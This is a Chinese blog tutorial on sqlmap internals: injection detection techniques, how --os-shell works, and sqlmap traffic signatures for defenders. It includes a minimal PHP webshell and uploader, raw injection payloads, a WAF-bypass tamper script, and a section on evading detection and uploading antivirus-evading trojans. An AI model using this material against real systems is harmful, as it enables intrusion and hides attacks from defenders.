SQL注入(五)sqlmap 原理、`–os-shell` 与流量特征

这一篇把 sqlmap 这个黑盒拆开。面试问"sqlmap 怎么判断注入的""--os-shell 原理是什么""怎么识别 sqlmap 流量",答案都在这里。

不写基本用法教程。假设你已经会敲 sqlmap -u,讲的是它在背后干了什么。

一、sqlmap 是怎么判断注入的

1.1 六种检测技术

sqlmap 把注入分成六类,--technique 参数就是用这六个字母控制的:

B 是布尔盲注(Boolean-based blind)。构造真假两个条件,比较页面差异。比如 AND 1=1 和 AND 1=2,看返回内容长度、状态码、关键字有没有变化。

E 是报错注入(Error-based)。往 payload 里塞各数据库的报错函数——MySQL 的 extractvalue、updatexml、floor(rand(0)*2),SQL Server 的 convert、cast——然后看响应里有没有出现对应的错误模式。

U 是联合查询(Union query-based)。先判列数,再找可回显的列,最后把数据塞进 payload。

S 是堆叠查询(Stacked queries)。试 ; 后面拼一条语句,看是否被执行。

T 是时间盲注(Time-based blind)。注入延时函数,比较响应时间。

Q 是内联查询(Inline queries)。把子查询的结果嵌进原 SQL 的某个位置,靠它对结果的影响来传递数据。用得相对少。

默认值是 BEUSTQ,六个全试。

1.2 它在什么顺序下试

顺序的基本原则是从快到慢,因为后面的技术一个比一个费请求:

先做启发式检查。发几个会破坏语法的字符('、"、)、;),观察有没有数据库报错、页面有没有变化。这一步不追求确定,只是快速判断"这里可能有戏",顺便识别数据库类型。

然后是布尔。构造 AND 1=1 / AND 1=2,这是最通用的一类,几乎所有数据库都支持。sqlmap 在这里会生成大量变形,因为目标可能有过滤:AND '1'='1、AND 1 LIKE 1、AND 1 BETWEEN 1 AND 1、AND 1 IN (1)、AND 1=1-- 等等。它还会随机插入注释符和大小写变化。

接着是报错。塞各家的报错函数,命中就说明可以直接回显数据,这是效率最高的一类,命中后 sqlmap 会优先用它。

再是联合。判列数有一套固定流程:先用 ORDER BY 递增到报错,再不行就用 UNION SELECT NULL 逐个增加,两者互为补充,因为有些目标拦了 ORDER BY 没拦 UNION。

然后是堆叠。分号拼接,只测一条无害语句,看是否生效。

最后是时间盲注。放这么后是因为它最慢——每个字符要等好几秒。sqlmap 用时间盲注时不会直接信一次请求的结果,它会用两个不同的延时长度各测一遍,确认响应时间的增量与延时量成比例,这样能排除"目标本身就慢"造成的误判。

假阳性排除贯穿整个过程。sqlmap 检测到差异后,会重复发几次请求,确认差异稳定存在,而不是网络抖动或者页面本身有随机内容。这也是为什么它会先发一个 baseline、记录响应哈希和长度。

1.3 --level 和 --risk 到底控制什么

这两个参数经常被当成"调大就更快",其实控制的是完全不同的两件事,而且调大都会显著增加请求量和风险。

--level 控制测试范围和 payload 数量:

1 是默认值,只测 GET 和 POST 参数,用的 payload 变形最少。

2 会加上 Cookie 的测试。很多站点的权限、主题、分页设置存在 Cookie 里,这个级别能覆盖到。

3 会加上 User-Agent 和 Referer 的测试。前面第三篇讲过,取真实 IP 和记录来源的代码经常会把这些头写进数据库。

4 会通知更多 payload 变形和边界值。

5 会连 Host 头一起测,payload 集最大。

实践里 --level=3 是性价比最高的档位,能覆盖绝大多数真实注入点。--level=5 请求量会翻好几倍,只在前面都失败时再上。

--risk 控制payload 的危险程度:

1 是默认值,只发不会改变数据的 payload,基本是 SELECT 类的探测,对生产库安全。

2 会增加基于时间的重查询,比如大表笛卡尔积。这类查询会给数据库造成实际负载,在业务高峰期可能拖慢线上。

3 会增加 OR 型的 payload,比如 OR 1=1。

--risk=3 有一条必须强调的注意事项:OR 型 payload 用在 UPDATE、INSERT、DELETE 语句的注入点上是会真的改数据的。sqlmap 官方文档里专门警告了这一点——如果注入点在更新语句里,OR 1=1 可能让整张表被更新。对生产库或者在授权范围不清楚的情况下,不要用 --risk=3。

1.4 几个真正影响效率的参数

-r request.txt 是最推荐的入口。把 Burp 里抓到的请求包原样保存成文件,sqlmap 直接读,这样 Cookie、自定义头、POST 体、Content-Type 全都带上了,不用一个个手敲 --cookie --data。能用 -r 就别用 -u。

--dbms=mysql 手动指定数据库类型,跳过指纹识别阶段,能省掉一批探测请求。确认了目标是什么库之后就加上。

--technique=U 之类只测指定技术。已经知道有回显位时,直接 --technique=U 能省掉大量无用的盲注探测。

--flush-session 清除会话缓存。sqlmap 会把每个目标的检测结果缓存在 ~/.sqlmap/output/<host>/ 下面,重复测同一个目标时它会跳过已确认的步骤。改了参数发现结果没变,先怀疑缓存,加这个参数强制重跑。

--batch 让所有交互式提问都取默认值,写脚本和批量任务时必加。

--parse-errors 让 sqlmap 把数据库返回的原始报错打出来,排查"为什么判定失败"时很有用。

--threads 默认是 1,盲注时可以调到 5 到 10。但时间盲注不要开多线程,并发请求会互相干扰响应时间,判断直接失效。

二、--os-shell 的原理

这是被问得最多的一个。先说结论:MySQL 下 --os-shell 本质上不是"命令执行漏洞",而是"写文件 + 通过 HTTP 调用"。它执行的命令根本不在数据库里,而是在 web 服务器上。

2.1 MySQL:写两个 PHP 文件

完整流程是这样的:

第一步,确认写文件的能力。 sqlmap 先查当前用户是不是高权限、有没有 FILE 权限、secure_file_priv 是什么值。这一步不通过,后面全部免谈。

第二步,确定 web 根目录。 见 2.2。

第三步,写一个上传器(stager)。 往 web 目录写一个 PHP 文件,文件名是随机的,形如 tmpuXXXXX.php(u 是 uploader 的意思,XXXXX 是随机串)。这个文件的作用是接收文件上传。

第四步,通过上传器上传真正的命令执行脚本。 sqlmap 用 HTTP 请求把另一个文件传上去,形如 tmpbXXXXX.php(b 是 backdoor)。为什么绕这一圈?因为直接用 INTO OUTFILE 写文件有几个限制:内容里的特殊字符会被转义、长度受 payload 限制、写二进制困难。先写一个小上传器,再通过 HTTP 上传任意内容,就绕开了所有这些限制。

第五步,执行命令。 请求 tmpbXXXXX.php,把系统命令作为参数传进去,脚本执行命令并把输出返回,sqlmap 打印出来。

第六步,退出时清理。 删掉这两个临时文件。

这两个文件的内容都不复杂。上传器大致是这么个结构:

<?php
// tmpuXXXXX.php —— 只负责把收到的文件落盘
if (isset($_FILES['file'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], $_POST['name']);
}
?>

命令执行脚本就是一个最简 webshell:

<?php
// tmpbXXXXX.php —— 执行参数里的命令并回显
system($_REQUEST['cmd']);
?>

实际生成的代码会比这两段多几层混淆和容错(比如处理被 addslashes 转义的内容、兼容不同 PHP 版本),但核心就这两件事:接收文件、执行命令。理解这一点,后面看到文件监控告警里出现 move_uploaded_file 或者 system( 就知道是什么了。

命令能不能执行,还取决于目标的 PHP 配置——如果 disable_functions 里禁了 system、exec、passthru、shell_exec 这一批,shell 建起来了但敲命令没输出。sqlmap 会尝试换用没被禁的函数,全被禁就只能失败。这时候应该改用 --file-write 上传一个免杀马,而不是反复重试 --os-shell。

2.2 它是怎么找到 web 根目录的

这一步是 --os-shell 最容易失败的地方,值得单独说清楚。

sqlmap 的动作是试探 + 验证:往一个候选目录写一个随机命名的文件,然后通过 HTTP 去请求它。请求到了,说明这个目录既能写、又能被 web 访问,双重条件同时满足,才认定为 web 根目录。

候选目录从哪来?三处:

一是用户显式指定的 --web-root。

二是 sqlmap 内置的常见路径列表(/var/www/html、C:\inetpub\wwwroot、phpStudy 的 WWW 目录之类),逐个试。

三是从错误信息里提取。PHP 的 warning 和 fatal error 经常会带上文件的绝对路径,比如 Warning: include(): Failed opening '/var/www/html/inc/db.php',路径直接就暴露了。所以前面几篇一直强调要看完整响应,就是因为这个。

这条验证逻辑也解释了站库分离为什么会导致失败:文件确实写进了数据库服务器的目录,但那台机器上没有 web 服务,HTTP 请求自然 404。sqlmap 会报写入成功但访问不到。

2.3 SQL Server:走 xp_cmdshell,不写文件

SQL Server 的流程完全不同,也不需要写文件:

sqlmap 先尝试用 sp_configure 打开 xp_cmdshell,然后直接 exec master..xp_cmdshell '命令',把返回结果读出来。命令是在数据库服务器上执行的,回显通过 SQL 查询结果返回,全程不碰 web 目录。

所以 SQL Server 下 --os-shell 的门槛低得多:只要有 sa 或 sysadmin 权限、能把 xp_cmdshell 打开就行,不需要知道 web 路径、不需要目录可写。如果 xp_cmdshell 被彻底删除或者被策略禁用,sqlmap 会退回到写文件的方式,那时就又需要 web 路径了。

2.4 利用条件汇总

MySQL 下要同时满足:

数据库账号有 FILE 权限(通常意味着 root);secure_file_priv 是空字符串或者允许写目标目录;知道 web 的绝对路径;web 目录对数据库进程用户可写;目标站点用的是 sqlmap 支持的语言(PHP、JSP、ASP、ASPX);disable_functions 没有把命令执行函数全部禁掉。

这六条里,"知道 web 绝对路径"是最常卡住的一条,比权限问题更常见。很多人以为是权限不够,其实是路径猜错了。

SQL Server 下要满足:sa 或 sysadmin 权限,xp_cmdshell 能开。就这两条。

2.5 几个相近参数的区别

--os-cmd=命令 执行单条命令,拿到输出就结束,不进交互。自动化脚本里用这个。

--os-shell 进交互式提示符,可以连续敲命令。

--os-pwn 直接反弹一个 shell 或者 Meterpreter 出来。它比 --os-shell 多一个前提:目标能主动连回来(出网),而且需要 --os-pwn 指定的 payload 类型和目标架构匹配。

--os-smbrelay 走 SMB 中继,也要求目标出网。

--file-write=本地文件 --file-read=远程文件 只做文件上传下载,不执行命令。数据库没有命令执行权限、但能写文件时,用这两个参数比 --os-shell 更合适——它不需要目标能执行 PHP,只需要能读写文件。

2.6 失败排查

sqlmap 的报错一般比较直白,对照着看:

说拿不到写文件权限,回去查 secure_file_priv 是不是 NULL、账号有没有 FILE 权限。

说找不到 web 根目录,或者试了几个路径都验证不通过,先手工确认路径——读报错页、读 @@datadir、用别的注入点读配置文件(config.php、application.yml、.env),确认之后用 --web-root 显式指定。

说文件写入成功但访问不到,大概率是站库分离。判断方法在第三篇 3.2。

shell 建起来了但敲命令没输出,回去查 disable_functions。这种情况下 --os-shell 是通的,是 PHP 不让执行命令,换 --file-write 上传一个免杀马可能更实际。

三、sqlmap 的流量特征

反过来看这一节:如果你在防守方,怎么认出 sqlmap。认得出,才知道怎么藏。

3.1 默认请求头

最好认的一条是 User-Agent:

sqlmap/1.7.2#stable (https://sqlmap.org)

版本号会变,但 sqlmap/ 这个前缀和 https://sqlmap.org 这个后缀是固定的。没有哪个浏览器或者正常爬虫会发这种 UA,只要日志里出现了,基本可以直接定性。

除了 UA,还有几个默认头也和普通浏览器对不上:

Accept: */*
Accept-Encoding: gzip,deflate
Connection: close

真实浏览器发的 Accept 通常是一长串 MIME 类型,Accept-Encoding 是 gzip, deflate, br,Connection 是 keep-alive。sqlmap 这几个值都是"最简形式",凑在一起特征很明显。

有些版本还会带 Cache-Control: no-cache,同样是简化痕迹。

3.2 payload 特征

即使把 UA 改了,payload 本身还在。几个高频出现的字符串:

AND (SELECT ... ) 这种括号包裹的子查询结构,正常业务查询很少这么写。

UNION ALL SELECT,注意是 ALL 不是 UNION SELECT,sqlmap 默认用 UNION ALL。

SLEEP(5)、BENCHMARK(、WAITFOR DELAY、pg_sleep(,延时函数的调用。

CONCAT(0x7e, 和结尾的 0x7e,这是 sqlmap 报错注入的标志——用 ~ 夹住数据,我们前几篇一直这么写,就是因为这是通用做法。

EXTRACTVALUE(、UPDATEXML(、FLOOR(RAND(,报错函数。

RAND(0)、ELT(、MAKE_SET(,布尔盲注里的变形。

LIMIT 0,1 频繁出现在末尾,用于逐行取数据。

参数值在 1=1 和 1=2 之间规律交替,这是布尔盲注在逐位判断。

把这些拼起来看一个真实的请求长什么样。下面是一条 sqlmap 时间盲注请求的原始报文(MySQL,--technique=T):

GET /news.php?id=1%27%20AND%20(SELECT%204932%20FROM%20(SELECT(SLEEP(5)))XjRv)--%20 HTTP/1.1
Host: target.com
User-Agent: sqlmap/1.7.2#stable (https://sqlmap.org)
Accept: */*
Accept-Encoding: gzip,deflate
Connection: close

逐个部分看:

%27 是单引号,闭合原查询里的字符串。

AND (SELECT 4932 FROM (SELECT(SLEEP(5)))XjRv) 是核心结构。外面套一层 SELECT ... FROM (子查询)别名,是因为 MySQL 不允许 AND (SELECT(SLEEP(5))) 这种直接把函数当子查询用,必须给它一个派生表和别名(这里叫 XjRv)。这个嵌套结构是 sqlmap 生成的典型形状,手写的人一般不会这么绕。

4932 是个随机四位数。sqlmap 会把它塞进 payload,用来在响应里定位——如果页面回显了这个数字,说明注入成立。同一批请求里这个随机数是一样的,下一批会变,这也是个识别点。

XjRv 是随机的四字符表别名,同样每批变一次。

结尾的 --%20 是 -- (注释符加空格),把原 SQL 剩下的部分注释掉。

再看布尔盲注的一对请求,它们通常成对出现:

?id=1%27%20AND%20%275319%27%3D%275319      → 真,页面正常
?id=1%27%20AND%20%275319%27%3D%275320      → 假,页面异常

注意两个请求除了最后一位数字(9 和 0)之外完全一样。这种"只差一个字符的成对请求"是布尔盲注最硬的特征,正常业务里不会出现。

URL 里出现大量 %20AND%20、%20OR%20,也就是空格和逻辑运算符的编码形式。

-- 或者 # 或 /* */ 收尾,这是注释掉原 SQL 剩余部分的标准做法。

3.3 行为特征

这些比单个 payload 更难伪装,也是 WAF 和行为分析系统真正依赖的东西:

频率异常。正常用户浏览一个页面,一次请求对应一次点击。sqlmap 跑盲注时是对同一个 URL、同一个参数,几秒内发几百上千次请求。这个频率用任何阈值都能筛出来。

参数值规律切换。布尔盲注会让参数在真假两个值之间反复跳,如果是二分法,还能看出明显的收敛规律。人操作不会这样。

响应时间周期性出现固定延时。时间盲注的请求会稳定地慢 3 秒或者 5 秒,而这个延时量和页面本身的复杂度无关。把同一参数的响应时间画成曲线,会看到明显的高低两档。

只访问一个 URL。sqlmap 全程只打同一个接口,不会去请求页面里的 JS、CSS、图片。真实浏览器一定会请求静态资源。这条特征非常硬。

请求序列有明显的阶段。先是一小批探测请求(指纹识别),然后请求量突然放大(数据提取)。这个"台阶"形状和正常流量差别很大。

没有 referer 链。正常人是从上一个页面点进来的,sqlmap 直接怼 URL。

3.4 从日志侧怎么抓

按这个顺序过一遍 access log:

先按 IP 做聚合,统计单位时间内对同一 URL 的请求数。正常用户每分钟几次,sqlmap 是几十到几百次。这是最快的筛法。

再在 URL 里搜关键字:sqlmap(UA 字段)、AND%20、%20UNION%20、SLEEP、BENCHMARK、EXTRACTVALUE、UPDATEXML、WAITFOR、information_schema、@@version。

然后看响应长度的分布。布尔盲注会让同一个 URL 出现两种长度,交替排列。

最后看UA 字段。把访问日志里的 UA 做个去重统计,sqlmap 会是一个非常显眼的长尾。

如果只允许做一件事,那做第一件——同 IP 对同 URL 的高频请求统计,这个能覆盖 sqlmap 的所有技术,包括把 UA 和 payload 都改过的。

3.5 --os-shell 留下的痕迹

--os-shell 在 web 目录里会留下两个临时文件,tmpuXXXXX.php 和 tmpbXXXXX.php。攻击者正常退出时 sqlmap 会删掉,但如果中途中断(网络断了、进程被 kill),文件会残留。

所以排查入侵时去 web 目录找 tmpu*.php 和 tmpb*.php 这两个模式,命中率不低。

另外,如果目标装了文件监控或者杀软,INTO OUTFILE 写文件这个动作本身也会触发告警——"MySQL 进程往 web 目录写 PHP 文件" 是异常行为,不需要等到文件被访问。

四、怎么让它不那么容易被认出来

这一节把上面那份特征清单逐条对着改。

4.1 命令行层面

改 UA。--random-agent 从 sqlmap 内置的真实浏览器 UA 池里随机选,比固定 UA 好;要更精确就用 --user-agent="完整的浏览器UA",直接从真实浏览器的开发者工具里复制一个。注意 -r 模式下的坑:如果 request.txt 里已经带了 UA,sqlmap 默认会用文件里的,这时候要在文件里改,光加参数不一定生效。

加延时。--delay=2 让每个请求之间隔 2 秒。这会把速度拖得很慢,但频率特征直接消失。盲注场景下配合 --threads=1。

走代理。--proxy=http://127.0.0.1:8080 让流量从代理出去。这解决的是源 IP 暴露的问题,但代理本身如果被标记,反而更容易暴露。它不能让流量变得"像正常人",只是换了来源。

分块传输。--chunked 用 Transfer-Encoding: chunked 发送请求体。这主要是绕过基于完整 body 做关键字匹配的 WAF,对行为分析没用。

HTTP 参数污染。--hpp 用重复参数名的方式发请求,针对的是某些 WAF 取值不一致的问题。

关掉多余请求。--technique 指定单一技术,--dbms 指定数据库类型,都能减少探测阶段的请求量——少发的请求就是少留的痕迹。

4.2 tamper 脚本

--tamper 让 sqlmap 在发送前对 payload 做变形。常用的几个:

space2comment 把空格换成 /**/,对付空格过滤。

space2plus 把空格换成 +。

randomcase 随机变换关键字大小写,让 SELECT 变成 SeLeCt 之类。这一条对基于大小写敏感规则的 WAF 有效,对行为分析完全无效,别指望它能藏住流量。

charencode 对 payload 做 URL 编码,charunicodeencode 做 Unicode 编码。

between 把 > 换成 NOT BETWEEN 0 AND,绕比较符过滤。

equaltolike 把 = 换成 LIKE。

apostrophemask 把单引号替换成全角字符 %EF%BC%87,对付单引号过滤。

versionedkeywords 把关键字包进 /*!...*/ 内联注释。

base64encode 做 Base64 编码,适合后端会解码的场景。

可以叠加使用,用逗号隔开,sqlmap 会按优先级依次应用:

sqlmap -r request.txt --tamper=space2comment,between,randomcase --delay=2 --random-agent

要提醒一句:tamper 解决的是"payload 能不能过 WAF",不是"流量像不像人"。randomcase、space2comment 这些改完之后,payload 反而更不像正常业务请求了。真正让流量不显眼的只有 --delay、--random-agent 和降速。

4.3 自己写一个 tamper

内置的不够用时就自己写。tamper 就是一个 Python 文件,放在 sqlmap 的 tamper/ 目录下,导出一个 tamper(payload, **kwargs) 函数:

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    """声明这个脚本的依赖,没有就留空"""
    pass

def tamper(payload, **kwargs):
    """接收原始 payload,返回变形后的 payload"""
    if payload:
        # 把关键字里插入注释,绕关键字匹配
        payload = payload.replace("SELECT", "SEL/**/ECT")
        payload = payload.replace("UNION", "UN/**/ION")
        # 顺手把空格也换掉
        payload = payload.replace(" ", "%0a")
    return payload

几个要点:

__priority__ 在较新版本里是必须的,取值有 LOWEST、LOW、NORMAL、HIGH、HIGHEST,决定多个 tamper 叠加时的执行顺序。

payload 可能是 None,所以先判空。

kwargs 里能拿到 headers 等信息,需要改请求头的 tamper 会用到。

dependencies() 用来检查环境(比如某个模块没装就拒绝加载),没有依赖也要定义,否则 sqlmap 加载时会报错。

写完不用注册,--tamper=你的文件名(不带 .py)就能调用。

写 tamper 之前先想清楚要绕的是什么。如果是 WAF 的关键字匹配,改 payload 的写法有用;如果对方看的是请求频率和 UA,tamper 一点用都没有——那时候该调的是 --delay。


下一篇是最后一篇:WAF 分几类、云 WAF 怎么找源站、通用绕过手法逐条配 payload、以及从代码层到运营层怎么防住 SQL 注入。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇